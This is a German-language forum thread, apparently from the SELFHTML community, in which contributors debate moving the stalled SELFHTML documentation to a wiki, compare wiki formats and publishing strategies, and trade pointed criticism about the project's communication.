          Genau das ist das Ding - ich vermute, dass die meisten (wie üblich) aus Deutschland kommen. Viele sind im Ruhrpott, einige kommen auch aus Berlin.
          Aber natürlich sollte jeder auch online partizipieren können. Darum geht es ja hautpsächlich.

          Grüße

          Marc Reichelt || http://www.marcreichelt.de/

          --
          DPRINTK("Last time you were disconnected, how about now?");
                  linux-2.6.6/drivers/net/tokenring/ibmtr.c
          Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
    3. Tach zusammen,

      ich habe eine mögliche Location für das SELF-Camp gefunden, wie es der Zufall so will in Essen.

      In Essen gibt es das Unperfekthaus, ein Laden, in dem es neben passenden Räumen auch freies W-LAN, Beamer und alle anderen technischen Ausstattungen gibt.

      Außerdem ist für Catering gesorgt, für 5,50 EUR pro Person gibt es den ganzen Tag Getränke und Kaffee inclusive.

      Das Unperfekthaus liegt ziemlich zentral, Mittagsverköstigung liegt keine 200m entfernt und es gibt Übernachtungsmöglichkeiten, die wir unter Umständen nutzen können.

      Ich würde mich vor Ort erkundigen, wenn genügend Interesse für so ein gemeinsames Wochenende zur Erarbeitung der Doku besteht.
      Deshalb habe ich mal ein doodle eingerichtet, in das sich jeder eintragen kann, der grundsätzlich Interesse hat, bei sowas mitzumachen.

      Es ist unverbindlich, ich möchte in erster Linie erstmal rauskriegen, mit wievielen Leuten da  so zu rechnen ist.

      Grüße

      Maik

      --
      Margin-Regler am Control-Data-Tischrechner im RRZE Erlangen
      Mehr margin! Sag ich ja immer...
  11. Hallo an alle,

    ich finde die Ideen und Wünsche die in diesem Thread bereits aufgekommen sind ziemlich gut. Damit wir das ganze auch produktiv nutzen können fasse ich die grundlegenden Punkte an dieser Stelle zusammen:

    • Die Einstiegshürde für potentielle Autoren ist zu hoch. Die aktuelle Technik (SVN, SDML, XXE-Editor) bietet zwar Vorteile, ist aber aufwendig. Denn zunächst muss man sie installieren und sich dann in sie einarbeiten. Dies schreckt Leute ab, die eventuell nur einen Artikel schreiben oder gar nur eine kleine Passage abändern wollten.

    • Mit einem Wiki hätte man mehrere Vorteile:
        - Jeder, der mitschreiben möchte, kann dies sofort tun, indem er "Seite bearbeiten" anklickt. Auch sonstige kleine Korrekturen können so schnell und ohne Einarbeitung direkt im Browser vorgenommen werden - und dieses Stück Software ist bei jedem installiert.
        - Die Wiki-Syntax lässt sich bei einer zeitgemäßen Software an SELFHTML-Bedürfnisse anpassen. Beispielsweise könnte man Tags für Browser-Kompatibilitäten hinzufügen. So wären auch unsere SDML-Überlegungen nicht verloren.

    • Die alte Philosophie, nach der neue Redakteure erst durch Ansprache gefunden werden, sollte einer "Jeder der möchte soll mitarbeiten"-Strategie weichen. Damit ist auch gemeint, dass neue Mitstreiter direkt loslegen können, ohne erst von einer Redaktion die Erlaubnis (Account mit entsprechenden Rechten) zu bekommen.

    Hier noch ein paar meiner Überlegungen:

    • IMHO ist die Idee mit dem Wiki gut. Wichtig dabei ist aber vor allem:
        - Das Wiki darf kein Mülleimer werden. Keine Demo (wie der letzte Versuch und nun auch Stefans Ansatz), sondern gleich richtig. Wir können es uns nicht leisten, wertvolle Beiträge wegzuwerfen.
        - Der Einstieg für neue Autoren sollte so gering wie möglich gehalten werden. Ein WYSIWYG-Plugin, wie es bereits angesprochen wurde, ist eine sinnvolle Erweiterung.
        - Beiträge von Autoren müssen direkt und ohne Umschweife live zu sehen sein. Man schreibt viel eher mit, wenn man weiß dass andere das Geschriebene sofort lesen und nutzen können, als wenn man erst auf die Veröffentlichung von SELFHTML9 warten muss.

    Was würdet ihr noch vorschlagen?

    Grüße

    Marc Reichelt || http://www.marcreichelt.de/

    --
    DPRINTK("Last time you were disconnected, how about now?");
            linux-2.6.6/drivers/net/tokenring/ibmtr.c
    Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
    1. Hallo Marc!

      Was würdet ihr noch vorschlagen?

      Aus meiner Sicht wäre es angebracht, die aktuelle Dokumentation in das Wiki zu "übertragen" (zumindest weitestgehend - Details ließen sich vorher klären).
      Damit hätte man neben der grundlegenden Struktur auch schon etwas, an dem man gleich praktisch anfangen kann, es zu überarbeiten, anstatt überall quasi mit einer leeren Seite anfangen zu müssen.
      Und wenn das Wiki (wie u.a. MediaWiki) auch jeweils eine Diskussions-Seite zu jeder Seite bereitstellt, auch den passenden Platz, um über die Inhalte etc. zu diskutieren, bzw. sich auszutauschen (so dass es alle anderen auch mitbekommen können).

      Gruß Gunther

      • Die Einstiegshürde für potentielle Autoren ist zu hoch. Die aktuelle Technik (SVN, SDML, XXE-Editor) bietet zwar Vorteile, ist aber aufwendig. Denn zunächst muss man sie installieren und sich dann in sie einarbeiten. Dies schreckt Leute ab, die eventuell nur einen Artikel schreiben oder gar nur eine kleine Passage abändern wollten.

      Sehe ich auch so.

      - Die Wiki-Syntax lässt sich bei einer zeitgemäßen Software an SELFHTML-Bedürfnisse anpassen. Beispielsweise könnte man Tags für Browser-Kompatibilitäten hinzufügen. So wären auch unsere SDML-Überlegungen nicht verloren.

      Einen Parser SDML nach WikiSyntax und umgekehrt stell ich mir jetzt nicht so übertrieben schwierig vor - dass man z.B. MediaWiki-Seiten als XML exportieren kann, wurde ja bereits gesagt.

      • Die alte Philosophie, nach der neue Redakteure erst durch Ansprache gefunden werden, sollte einer "Jeder der möchte soll mitarbeiten"-Strategie weichen. Damit ist auch gemeint, dass neue Mitstreiter direkt loslegen können, ohne erst von einer Redaktion die Erlaubnis (Account mit entsprechenden Rechten) zu bekommen.

      Da sind die Meinungen zweigeteilt soweit ich das verfolgt habe - auch ich bin hier unschlüssig. Ein völlig öffentliches Wiki könnte nach hinten losgehen - ich würde zumindest die gesichteten Versionen der Deutschen Wikipedia als Anreiz verwenden. Sprich Änderungen durch neue oder IP-Benutzer werden nicht automatisch sofort in die Public-Ansicht übernommen sondern bleiben als Entwurf stehen bis sie freigegeben werden.

      Hier noch ein paar meiner Überlegungen:

      • IMHO ist die Idee mit dem Wiki gut. Wichtig dabei ist aber vor allem:
          - Das Wiki darf kein Mülleimer werden. Keine Demo (wie der letzte Versuch und nun auch Stefans Ansatz), sondern gleich richtig.

      Das wurde im SELFHTML-Blog schon erwähnt: ohne Hirn und Verstand einfach ein Wikidot-Wiki anmelden und die erstebeste Lizenz verwenden (Sorry Stefan) halte ich für weniger schlau.

      - Der Einstieg für neue Autoren sollte so gering wie möglich gehalten werden. Ein WYSIWYG-Plugin, wie es bereits angesprochen wurde, ist eine sinnvolle Erweiterung.

      Das von mir verlinkte Plugin (im Falle von MediaWiki) war nur ein beispiel, es ist längst nicht mehr am aktuellen Stand - allerdings hat sich Syntaktisch in MediaWiki nichts getan - der Editor sollte also noch funktionieren.

      - Beiträge von Autoren müssen direkt und ohne Umschweife live zu sehen sein. Man schreibt viel eher mit, wenn man weiß dass andere das Geschriebene sofort lesen und nutzen können, als wenn man erst auf die Veröffentlichung von SELFHTML9 warten muss.

      Zu dem "sofort" möchte ich nochmal auf das obenstehende hinweisen - ggf. als gesichtete Version und nicht wirklich "sofort sofort" :).

      Was würdet ihr noch vorschlagen?

      Die alten Inhalte 1:1 so übernehmen wie sie sind (URL-Struktur, Inhalte, Verlinkung).

      Das Wiki (oder System) als Mittel zum Zweck ansehen - blos nicht die example.com/wiki/html/grafiken/einbinden sondern brav bei example.com/html/grafiken/einbinden wie gehabt. Ob man sich von dem .htm hinten trennt muss man sich überlegen. Das macht dann eine Offlineversion in Form von statischen HTML-Dateien extrem einfach. Im Idealfall merkt der normale Nutzer die Umstellung vorerst garnicht.

      Ein "Manual of Style" muss erstellt werden - da kann man sich ja an die Schnipsel halten die es jetzt bereits gibt.

      Welche Überschriften werden verwendet? Wie sieht ein Codebeispiel aus? Aus der Aktuellen dokumentation lässt sich da relativ leicht ein Schema ableiten und man kann daraus entsprechende Vorlagen basteln.

      1. Einen Parser SDML nach WikiSyntax und umgekehrt stell ich mir jetzt nicht so übertrieben schwierig vor

        Ich wärme hier mein Argument aus der Wiki-Diskussion von damals™ wieder auf; leider scheint es immer noch relevant zu sein: MediaWiki ist berüchtigt dafür, ziemlich schwer in eine bequem verarbeitbare Form zu kriegen bzw. es selber zu verarbeiten, wenn man nicht gerade selber MediaWiki ist. Ein Großteil der Komplexität kommt durch Templates.

        - dass man z.B. MediaWiki-Seiten als XML exportieren kann, wurde ja bereits gesagt.

        Hast Du Dir das „XML“ mal angeguckt? Das einzige, was da in XML-Form vorliegt, sind ein paar unnütze Metadaten, der reale Quelltext der Seite ist dagegen in WikiSyntax. MediaWiki ist format-technisch wirklich ein schwarzes Loch.

        Ich empfehle wirklich, sich darüber vorher Gedanken zu machen und dann ein Wiki mit definierter, eventuell sogar nicht-eigener Syntax zu nehmen, für die es dann auch andere Tools gibt. Ich mag z.B. Markdown, das erlaubt auch eigenes HTML, was ich nicht für dumm halte. WikiCreole ist ein Ansatz, ein definiertes WikiVokabular aufzubauen.

  12. Hallo zusammen,

    Ich möchte einen Schritt zurücktreten und fragen: Was ist ein erfolgreiches Projekt zur Dokumentation von Webtechniken?

    Ich finde:

    • Es ist thematisch aktuell und greift das auf, worüber geredet wird bzw. was nachgefragt wird.
    • Es finden regelmäßig Veröffentlichungen statt.
    • Es gibt Impulse. Es ist bekannt unter Webautoren und hat eine große Leserschaft. Texte werden häufig verlinkt, in Blogs und Foren kontrovers diskutiert.
    • Es ist hoch angesehen. Es lockt andere fähige und kritische Leute an. Autoren reißen sich darum, dort mitmachen und publizieren zu dürfen.
    • Es nutzt die Möglichkeiten, um Leute zu gewinnen und an sich zu binden, um mit Leuten ins Gespräch zu kommen.
    • Die Texte kommen gut an, es gibt gutes Feedback und sie wachsen und entwickeln sich weiter.

    Was bietet ein dermaßen erfolgreiches Projekt?
    Freude und Genugtuung für die, die daran arbeiten. Etwas auf die Beine gestellt zu haben, was irgendwann von selbst läuft. Das einem die Arbeit, die man hineinsteckt, belohnt mit Aufmerksamkeit, Interesse und Lob. Dass man Arbeit investieren kann, wozu man gerade Lust hat. Darüber zu schreiben, was man spannend findet und was Leuten gerade weiterhelfen könnte.

    Selfhtml war einmal ein solcherart erfolgreiches Projekt - zumindest zum Teil. Der letzte Versuch, sich ins Gespräch zu bringen, waren gute Fachartikel und Blog-Postings. Das war 2006/2007. Guess what, Selfhtml bietet heute ganz offensichtlich keine Infrastruktur, um ein erfolgreiches Projekt im obigen Sinne zu werden. Damit meine ich nicht die technische.

    Was funktioniert hat:
    Bestehende Texte Schritt für Schritt erweitern und verbessern. Selfhtml 8.1 bis 8.1.2 waren große Erfolge. Gute Fachartikel publizieren. Stellung nehmen zu aktuellen Entwicklungen im Webdesign. Diskussionen anstoßen. Best Practises aufschreiben und weitersagen.

    Was nicht funktioniert hat:
    Selfhtml will eine monolithische, geschlossene Dokumentation sein. Das fänden wir alle toll, aber es gibt zu viele verschiedene Hürden. Derer sind sich alle bewusst, wie dieser Thread zeigt, deshalb wiederhole ich sie nicht. Das Vorhaben, ein neues Selfhtml 9 hinzustellen, ist nun über 8 Jahre hinweg gescheitert (meiner Erinnerung nach).

    Fazit daraus:
    Die Ansprüche nicht zu hoch stellen, sonst bekommt man nichts gebacken und hat keine Erfolgserlebnisse. Um es mal kapitalistisch auszudrücken: Wenn ein Projekt keinen Mehrwert an Motivation für die Betreiber abwirft, der wieder reinvestiert werden könnte: Dann macht es dicht. Einfach nur den Betrieb einer Plattform aufrecht erhalten, frustriert alle Beteiligten. Dann wird das Projekt zurecht als »tot« angesehen.

    Mein ungefragter Ratschlag ist daher:
    Gebt die Idee des geschlossenen Werkes auf. Stellt ein Portal hin, auf der regelmäßige Artikelreihen erscheinen. Zum Beispiel alle 3-4 Wochen jeweils Artikel aus einem Bereich. Das sind kleine, machbare Schritte mit großer Wirkung. Nach einem Jahr ist dann ein HTML-Einsteigertutorial fertig. Parallel läuft eine Tutorial-Reihe zu CSS. Schreibt kleine, profunde Texte und bringt sie schnell zur Veröffentlichung. Nach Abschluss einer Reihe oder auch zwischendrin kann man die Teile hinsichtlich Konsistenz und Kohärenz überarbeiten. -- Ob das nun in SDML, Wiki oder mit sonstwelchen Tools und Formaten erfolgt, ist nicht der entscheidende Punkt. -- Gleichzeitig können auf diesem Portal Newsbeiträge, Fachartikel und Meinungen erscheinen, was bisher im Blog und unter den Feature-Artikeln veröffentlicht wurde.

    Ein solches Portal wäre lebendig. Und weil ich gemein bin, sage ich auch noch, wer ein ähnliches Konzept bereits verfolgt: Dieses ominöse »Webkompetenz«. Dessen Betreiber hat vermutlich nicht mehr Ideen, Motivation, Fachwissen und Zeit als das hiesige Dev-/Redaktionsteam. Er setzt sich einfach hin und schreibt ab und zu kleine Häppchen. Mal eine Tutorial-Reihe über Ajax hier, mal eine Stellungnahme zur Netzpolitik dort. Und bindet Leute über Blogkommentare, Forum und Twitter ein.

    So einfach ist es? Ja. Naja. Zumindest tausendmal besser als der Status Quo bei Selfhtml.

    Was Selfhtml also meiner Meinung nach braucht (siehe Topic), ist eine Strategie, wie Selfhtml nach außen (für die Leser attraktiv) und innen (für die Betreiber zufriedenstellend) erfolgreich sein kann. Ein Konzept, wie gute Inhalte zeitnah zur Veröffentlichung gebracht werden. Wie man sich wieder ins Gespräch bringt, bekannt macht, verlorenes Vertrauen zurückgewinnt. »Das ist aber längst nicht alles!«, werdet ihr einwenden. Richtig, aber eine Voraussetzung zum Erreichen weiterer Ziele.

    Diesbezüglich fragt ihr am besten keine Techniker, die sich mit den Detailunterschieden von Wiki-Softwares auskennen mögen, sondern Leute, die sich mit dem Publizieren und der Netzkommunikation auskennen.

    Apropos Vertrauen: Bei allen lobenswerten Bemühungen bleibt Selfhtml ein kommunikatives Desaster. Selfhtml wird als sich abkanzelndes Grüppchen wahrgenommen, dass bei Kritik von außen zubeißt. Dazu gibt es unzählige Beispiele. Was meint ihr, welche Außenwirkung die Reaktionen mancher Devs und Nicht-Devs in diesem Thread haben. Da denken sich viele, die Selfhtml eigentlich positiv gesinnt sind: Wer nicht will, dem ist auch nicht zu helfen.

    Grüße,
    Mathias

    1. Hallo,

      Ein solches Portal wäre lebendig. Und weil ich gemein bin, sage ich auch noch, wer ein ähnliches Konzept bereits verfolgt: Dieses ominöse »Webkompetenz«. Dessen Betreiber hat vermutlich nicht mehr Ideen, Motivation, Fachwissen und Zeit als das hiesige Dev-/Redaktionsteam. Er setzt sich einfach hin und schreibt ab und zu kleine Häppchen. Mal eine Tutorial-Reihe über Ajax hier, mal eine Stellungnahme zur Netzpolitik dort. Und bindet Leute über Blogkommentare, Forum und Twitter ein.

      So einfach ist es? Ja. Naja. Zumindest tausendmal besser als der Status Quo bei Selfhtml.

      Gucken wir doch was das wirkliche Problem ist.
      Was hat Stefan anno dazumal gemacht?
      Er hat sich voll SELFHTML gewidmet und dabei ziemlich vieles aufgegeben bzw. verschoben, dahintergestellt etc.
      Dass das so nicht mehr weiter ging, hat er selbst gesagt/erkannt und ist ja auch hinreichend im Archiv etc. dokumentiert.
      Aber genau so etwas fehlt im Grunde: ein oder zwei Leute, die sich voll dem Projekt widmen können und _so_ andere motivieren und mitreißen. Wenn man aber beide Hände schon voll zu tun hat und eben nicht alles andere aufgeben kann, dann fehlen solche Motivationsmotoren.

      Du sagst, so einfach ist das? Ich sage: Bauherr mit vielen Baustellen ohne Bauarbeiter. So wie wir es auch sind.
      Ein Wiki ins Netzt zu klatschen und sagen "macht mal" wird nicht funktionieren. Ah ja, sicher wird es getwittert und hunderte Male retwittert und wiederholt und bekanntgegeben und und und. Und was bringt das? Nichts. Twitternde sind echte Vögel: sie fliegen dorthin wo was zum fressen gibt, zwitscher dabei wild im Schwarm und ziehen dann weiter und wissen kurz darauf gar nicht mehr, was sie vor "so langer Zeit" gezwitschert haben.

      Keine Frage, wenn man alles für sich macht - wobei für sich bedeutet: "ich mach' genau das und dann, was und wann es mir gerade spaß macht" - und das dann mit anderen Teilt, ist das eine erstklassige Sache. Für ein Blog.
      Denkst du, dass wenn dort dann die Erwartung entsteht, dass bestimmte Artikel etc. noch weiter ausgebaut oder noch weiter vertieft in diese oder jene Richtung weiterentwickelt werden, dem autor noch immer alles Spaß machen wird? Eine weile, sicher. Aber gewiss nicht lange. Da sollten dann die anderen einspringen.

      Nun das ist eben der Knackpunkt.
      Alle behaupten Blogger und Twitter seien "super" venetzt. Sind sie auch. Aber was bringt das für's schreiben? Nichts.
      Wenn ich mir sogenannte Fach-Blogs ansehe, muss ich bei der überwiegenden Mehrheit feststellen, dass sie nichts bieten. Sie rezensieren andere Blogs, wiederholen was in anderen Blogs steht, im besten Fall übersetzen sie etwas aus einem anderen Blog und im schlimmsten Fall versuchen das, was in anderen Blogs steht als Einges wiederkauen und zu publizieren.
      Es gibt kaum ein handvoll Blogs, die es überhaupt Wert sind, dass man auf deren Seite kommt. Das ist die schlichte und ernüchternede Wahrheit hinter der "schönen neuen Bloggerwelt". Und diese handwoll an Bloggern schreibt auch keine Dokumentation. Sie schreiben darüber, was sie gerde beschäftigt, an dem sie gerade Arbeiten etc. aber eben nicht mehr (auch wenn das, was sie schreiben, wirklich sehr gut ist).

      Sag mal, hast du auf Webkompetzen schon außer Stefans Artikel noch andere Gesehen? Forenbeiträge, Blogkommentare etc. sicherlich. Aber von der von dir hier kolportierten großen Mitmache sehe ich dort auch nicht viel, genauer: gar nichts.
      Was ist also dort schiefgelaufen? Muss es dort was schiefgelaufen sein? Nein, denn Stefan will selbst keine komplette Dokumentation über Ajax oder sonstwas schreiben. Das Blog ist perfekt dafür was er eben für sich gerne macht: Themen die ihm interessieren aufzugreifen und dazu etwas zu schreiben und dann darüber mit Interessierten zu disktutieren.
      Bevor du es sagst, ich kennne http://webkompetenz.wikidot.com/docs:html-handbuch! Warum das Stefan allein schreibt? Keine Ahnung und  geht mich auch absolut gar nichts an. Aber das ist eben auch eine Baustelle mit einem Bauherr, der zugleich sein eigener Bauarbeiter ist.

      Apropos Vertrauen: Bei allen lobenswerten Bemühungen bleibt Selfhtml ein kommunikatives Desaster. Selfhtml wird als sich abkanzelndes Grüppchen wahrgenommen, dass bei Kritik von außen zubeißt. Dazu gibt es unzählige Beispiele. Was meint ihr, welche Außenwirkung die Reaktionen mancher Devs und Nicht-Devs in diesem Thread haben. Da denken sich viele, die Selfhtml eigentlich positiv gesinnt sind: Wer nicht will, dem ist auch nicht zu helfen.

      Ich weiss nicht welche "Außenwirkung die Reaktionen mancher Devs und Nicht-Devs in diesem Thread haben". Aber ich finde das Argument "kommunikatives Desaster" mittlerweile für vollkommen elitäres und abgehobenes Gehabe. Denn! Egal - und das ist ebenfalls vielfach belgt - was und wie wir gemacht haben. Das erste Argument war immer: "ihr kommuniziert nicht!" Du bist selbst davon betroffen gewesen. Man kann etwas tot reden und genau das machen hier einige mit ihrem "ihr kommuniziert nicht".
      Wenn wir dann als Antwort Links geben, hieß es: "ah, ihr kommuniziert nicht, ihr knallt den Leuten nur Links hin als Antwort".

      Es gibt aber in der Kommunikation nicht nur ein Bring- sondern auch ein Hol-Schuld. Wenn jemand nur alle paar Monate mal hie und da reinliest, dem werden gewiss eine Menge Informationen fehlen.
      Dann wird hier knallhart verlangt, dass wir dem betroffenen alle Informationen ihm passend aufbereitet zum Frühstück servieren. Das man selbst diese Informationen besorgen kann ist nicht mehr drinn. Dafür findet man keine Zeit und hat auch keinen Bock. Willkommen im Web 2.5, im Sozialen-Desaster-Mir-Alles Web! Wir können 'was auch immer' hier im Forum, im Blog oder sonstwo kommunizieren, wer das nicht mitbekommt, bekommt es eben nicht mit, nur später dann darauf zu bestehen, dass wir nicht kommunizieren, finde ich überheblich.

      Sicherlich hast du nicht ganz unrecht, wenn du meinst, dass "wir" auf Kritik schon mal harsch reagieren. Aber ich bin noch nicht so senil, dass ich mich nicht an deine Reaktionen erinnern würde und daran wie du denn auf Kritik die damals von "außen" kam, reagiert hast. Jetzt bist du in diesem "außen" und teilst deine Kritik so aus, wie man dir damals Kritik mitgeteil hat.

      Ob deine Idee mit häppchenweise Artikel und "in einem Jahr dann ein fertiges Tutorial" ankommt? Das wage ich zu bezweifeln. Versuche es dochmal deine Idee "draußen" "zu verklickern", ich kann dir in einem geschlossen Kuvert schon jetzt die Antworten geben, die du bekommen wirst.
      Es geht gar nicht darum, dass diese Idee schlecht wäre, aber sie ist im Grunde auch nur deine idealisierte Vorstellung eines Superblogs.
      Ich stimme dir aber ganz und gar zu, was die frage nach einer "Strategie, wie Selfhtml nach außen (für die Leser attraktiv) und innen (für die Betreiber zufriedenstellend) erfolgreich sein kann" angeht.
      Ob ein Superblog diese Strategie sein kann, mag sein, mag nicht sein. Aber ich denke, erstmal wollen und sollten wir dem Wiki-Versuch seine Chance geben.

      Grüße
      Thomas

      1. Hallo Thomas,

        Ah ja, sicher wird es getwittert und hunderte Male retwittert und wiederholt und bekanntgegeben und und und. Und was bringt das? Nichts.

        Nur so viel: gestern hat ein User bereits diverse Inhalte aus dem Referenzteil in das Wiki übertragen. Er hat auch Kontakt mit mir aufgenommen. Er ist 22 Jahre als, fit in Webtechnologien und hat offenbar auch Energie- und Zeit-Kapazitäten. Er hat mich gefragt, was er weiter tun könne. Ich habe ihm nach meinem besten Wissen empfohlen, was er tun könne. Ich habe ihm aber auch gesagt, dass ich ihm angesichts der Reaktionen hier im Forum nicht garantieren könne, ob und inwieweit seine dort investierte Arbeit am Ende in die Doku einfließen wird.

        Das alles nimmt hier niemand wahr. Hier wird wieder lieber weitergeschimpft über Schnellschüsse und darüber, welches Mega-System die nötigen Voraussetzungen erfüllen könnte, um diese unendlich komplexe Dokumentation artgerecht zu pflegen. Dazu kann ich nur sagen: nur weiter so! Diesmal wird mein "Schnellschuss" jedenfalls im Netz bleiben, wenn es etwas Besseres gibt.

        viele Grüße
        Stefan Münz

        1. Hallo Stefan,

          Nur so viel: gestern hat ein User bereits diverse Inhalte aus dem Referenzteil in das Wiki übertragen.

          Womit er vermutlich leider Arbeit geleistet hat, die für die Katz' ist. Wir haben bereits eine Softwarelösung, die es uns ermöglicht, HTML-DTDs automatisch zu Referenzen zu verarbeiten, wie sie im jetztigen SELFHTML vorkommen, damit man die eben nicht manuell pflegen muss (was fehleranfällig ist). Das ganze etwas anzupassen, dass es zusammen mit einem Wiki funktioniert, wäre eine Kleinigkeit. Wenn wir das Wiki gestartet hätten, hätten wir die Information "hier gibt's schon eine Lösung, wo nur ein bisschen was geändert werden muss" schon an der richtigen Stelle drin haben können. Dann hätte derjenige gleich gesehen und hätte sich entweder anderen Teilen zuwenden können oder sich mit mir in Verbindung setzen können, um an der Anpassung eben dieser Lösung zu arbeiten. Jetzt sieht die Situation so aus, dass jemand leider unnötigerweise Zeit verschwendet hat. Was sehr Schade ist.

          (Anmerkung: Wenn wir jetzt so eine Lösung noch nicht gehabt hätten, dann wäre das natürlich etwas anderes gewesen, denn sowas bastelt sich nicht von selbst und ist aufwändiger, als das jetztige einfach zu übertragen. Daher kritisiere ich niemanden dafür, dass er einfach mal Inhalte übernimmt - in Abwesenheit einer derartigen Lösung wäre das sicher das richtige gewesen. Nur: Dieses kleine Bisschen Informationen hätte hier unnötige Arbeit vermeiden können.)

          Das alles nimmt hier niemand wahr.

          Ich hab's gestern gesehen. Es hat mich in meiner Meinung bestärkt, dass Dein unüberlegtes Handeln keine gute Idee war.

          Hier wird wieder lieber weitergeschimpft über Schnellschüsse und darüber, welches Mega-System die nötigen Voraussetzungen erfüllen könnte, um diese unendlich komplexe Dokumentation artgerecht zu pflegen.

          Du legst hier in letzter Zeit immer dieses Schwarz-Weiß-Denken an den Tag: Entweder man macht alles so wie Du (d.h. man knallt an einem Wochenende schnell mal was hin und schaut, was passiert) oder man baut sich eine Mega-Lösung, die nie fertig wird und alle überfordert.

          Es gibt auch ein breites Spektrum in der Mitte. Und das, was ich vorgeschlagen habe, liegt *deutlich* näher an dem, was Du gemacht hast, als an einer eierlegenden Wollmichsau.

          Diesmal wird mein "Schnellschuss" jedenfalls im Netz bleiben, wenn es etwas Besseres gibt.

          Du willst also in Deiner Sturheit Dir gar nicht anschauen, was wir machen werden, bevor Du sowas entscheidest? Na klasse...

          Viele Grüße,
          Christian

          1. Hallo Stefan,

            Diesmal wird mein "Schnellschuss" jedenfalls im Netz bleiben, wenn es etwas Besseres gibt.

            Du willst also in Deiner Sturheit Dir gar nicht anschauen, was wir machen werden, bevor Du sowas entscheidest? Na klasse...

            Ich sehe gerade, dass das vielleicht nur ein Vertipper gewesen sein könnte und Du "bis" statt "wenn" meintest. Wenn das der Fall gewesen sein sollte, ziehe ich die letzte Bemerkung zurück. Ansonsten lasse ich sie so stehen.

            Viele Grüße,
            Christian

            1. Hallo Christian,

              ja, sorry, es sollte "bis" heißen. Blöder Fehler!

              viele Grüße
              Stefan Münz

        2. Hallo,

          »»

          Nur so viel: gestern hat ein User bereits diverse Inhalte aus dem
          Referenzteil in das Wiki übertragen.

          wilder Ationismus schallt erst mal lauter. Ob das hier welcher ist, weiß ich freilich nicht, wird sich zeigen, sieht aber ein wenig schon danach aus.

          Bedenkenzeredene Lähmung ist freilich auch kein Weg.

          Ich tendiere zu Molilys Vorschlag.

          Chräcker

          --
          Erinnerungen?
          zu:]
        3. Hallo Stefan,

          Ah ja, sicher wird es getwittert und hunderte Male retwittert und wiederholt und bekanntgegeben und und und. Und was bringt das? Nichts.

          Nur so viel: [...]
          Das alles nimmt hier niemand wahr.

          Doch, natürich nimmt man auch diese Sachen wahr. Ich auch. Das war ja auch nicht wirklich der Kernpunkt der Aussage. Wenn alles wahr wäre, was man über Twitter etc. glaubt, müsste ja das Wiki bei dir eigentlich aus allen Nähnten schon von Inhalten platzen, dem ist ja ber nicht so. Ich glaube du bist realistisch genug meine Aussage im richtigen Kontext zu sehen. Ich währe mich darin nur dagegen, was hier so viele schreiben: macht ein Blog-Wiki-Collaborativen-Portal und die Leute rennen euch die Tür ein, um dabei mitmachen zu dürfen. Dass sich so etwas nie erfüllen wird, weisst du ebenso wie ich.

          »»Hier wird wieder lieber weitergeschimpft über Schnellschüsse und darüber, welches Mega-System die nötigen Voraussetzungen erfüllen könnte, um diese unendlich komplexe Dokumentation artgerecht zu pflegen. Dazu kann ich nur sagen: nur weiter so! Diesmal wird mein "Schnellschuss" jedenfalls im Netz bleiben, [del: wenn] [insert: bis] es etwas Besseres gibt.

          Über Schnellschüsse kann man ja so oder so denken, ich habe ja beim damaligen mitgemacht, also was soll ich jetzt dazu sagen?
          Von uns will niemand ein Mega-System. Witzig finde ich, dass die Ideen von solchen "Superblogs" und "Collaborativen-Portalen" (ein ganz grausiger Buzzword-Kombination) gerade von jenen kommt, die schon mit den kleinen Sachen hier nicht klarkommen (wollen?).

          Ich bin zu einem gar nicht undankbar für den aktuellen Schnellschuss, denn vielleicht ist er das, was hier alles aus der Lethargie holt. Zum anderen teile ich Christians Meinung: wenn dieser Schnellschuss daneben geht, ist es vorbei. Auch deshalb wollen wir den neuen Wiki-Versuch unternehmen und uns geht es dabei gewiss nicht um irgendwelche Mega-Supersysteme die quasi von selbst die Texte schreiben.

          Es gibt in diesem Thread einige Ideen, dir mir wirklich gut gefallen, aber jedes mal wenn ich darüber nachdenke, dass oder wie wir diese Idee(n) umsetzen könn(t)en, komme ich an einem Punkt wo es dann nicht weitergeht. Und das ist eben der Punkt wo wir auch jetzt stehen: wie gewinnt man Leute die da mitmachen, wie holt man interesseirte Menschen ins Bot und das hat dann wieder mit Schnellschüssen noch mit ewigwährenden Überlegungen zu tun.

          Grüße
          Thomas

      2. Hallo,

        was Du, freilich arg wertend, beschreibst, ist ein Zustand im Netz, den man nun beweinen kann, oder überlegen kann, ob es nicht einfach eine relativ normale Entwicklung ist. Wir wollten doch immer, das jeder ins Netz kommt und jeder ein Veröffentlicher sein kann und jeder gestalten soll. Und genau deswegen ist alles nun so Ortsmässig fragmentiert. Aber macht nicht genau das alles aus? Das Netz SOLL doch eine Verknüpfung vieler Wissensinsel sein und nicht nur eine Verknüpftes Autobahnnetz zu einer Wissensinsel.

        Die Art das alles zu verknüpfen und das Wegweiser System und die Geländer, die Mensch braucht, um sich und seine Menschengruppe darin nun nicht zu verlieren, wird gerade erst testend entwickelt durch die, die es miterleben.

        Das viel gescholtene Twitter, facebook, allewelt-Blogs und Konsorten sind ein paar der Übungsfelder. vieles wird verschwinden wie Textticker und blinkende Gifs. Aber es bedarf des testens und übens und aussondierens, bis sich eine neue Bewegungsart durch das Netz durchgesetzt hat und das Netz wirklich fragmentierte Wissensinsel zusammen geführt sind.

        Für ein monoloitische eierlegende Wolfsmilchsau sehe ich da eher kaum eine Chance. Und weiß auch nicht, obs sinnvoll wäre.

        Chräcker

        --
        Erinnerungen?
        zu:]
      3. Lieber Thomas,

        kurz vorab: ich teile überhaupt keine Kritik aus. Wenn ich sage, wie Selfhtml von außen wahrgenommen wird bzw. dass etwas für Unbeteiligte einen bestimmten Eindruck erweckt, dann gebe ich nur weiter, was ich über verschiedene Kanäle mitbekomme. Ob die Leute hinter Selfhtml nun wirklich fies sind, keine Kritik annehmen oder überhaupt nichts kommunizieren, ist dabei irrelevant. Es ist einfach Fakt, dass es nach außen so wirkt. Trotz allem, was ihr richtig macht. Ich sage ja nicht, dass dieser Eindruck völlig gerechtfertigt ist - aber Ursachen hat er trotzdem. Es sind einzelne kleine Sachen, die man besser machen kann, um dem vorzubeugen.

